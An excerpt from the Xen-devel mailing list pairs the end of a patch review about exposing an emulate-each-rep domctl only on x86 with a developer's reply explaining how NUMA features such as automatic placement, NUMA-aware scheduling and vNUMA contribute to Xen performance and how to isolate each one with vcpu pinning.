>> +#define XEN_DOMCTL_emulate_each_rep  80
>>  #define XEN_DOMCTL_gdbsx_guestmemio1000
>>  #define XEN_DOMCTL_gdbsx_pausevcpu 1001
>>  #define XEN_DOMCTL_gdbsx_unpausevcpu   1002
>> @@ -1202,6 +1209,7 @@ struct xen_domctl {
>>  struct xen_domctl_psr_cmt_oppsr_cmt_op;
>>  struct xen_domctl_monitor_opmonitor_op;
>>  struct xen_domctl_psr_cat_oppsr_cat_op;
>> +struct xen_domctl_emulate_each_rep  emulate_each_rep;
> 
> IHMO this should be exposed only for x86 as we don't have a such
> instruction on ARM.

Sure, I'll #ifdef it with the other __i386__ and __x86_64__ things.


Thanks for the quick review,
Razvan

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] Fwd: Question about the status of vNUMA in Xen

[Dario Faggioli]

On Tue, 2015-09-08 at 10:50 +0100, Wei Liu wrote:
> On Tue, Sep 08, 2015 at 01:21:04AM +, 甘清甜 wrote:

> > > So far, I have read the Xen NUMA Roadmap page and watched the
> > > video about vNUMA in Xen on Youtube. I have known that some work
> > > has been done for vNUMA in Xen. Since my benchmark result show a
> > > great improvement in Xen-4.5.1 when compared with Xen-4.0.1. I'm
> > > puzzled if vNUMA has contributed to that improvement.
> > 
> > No. That's mostly due to other improvements.
> > 
> > Wei.

> > I’m sorry that I didn’t express clearly in the last mail. What I want to
> > know is
> > 
> > that how much the NUMA optimizations (including NUMA-aware VM placement,
> > 
> > NUMA-aware scheduling and vNUMA)  contribute to the improvement
> > 
> 
Going from 4.0 to 4.5, you get automatic placement and NUMA aware
scheduling, not to mention that many other improvements happened in
between those two release, even if they may not look NUMA-related at a
first glance, may well be leading to better performance.

The NUMA roadmap page is slightly outdated, and I commit to update it
ASAP.

Anyway, if you want to isolate the contribution of each single feature,
you can configure things in such a way that you 'temporarily disable'
them. For instance, you can use vcpu pinning di tweak/disable automatic
placement, and check how the numbers change. For tweaking/disabling NUMA
aware scheduling, you should play with hard and soft affinity (i.e.,
some more refined ways of doing pinning, check what `xl vcpu-pin' does
these days).

Regards,
Dario
-- 
<> (Raistlin Majere)
-
Dario Faggioli, Ph.D, http://about.me/dario.faggioli
Senior Software Engineer, Citrix Systems R Ltd., Cambridge (UK)


signature.asc
Description: This is a digitally signed message part
___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel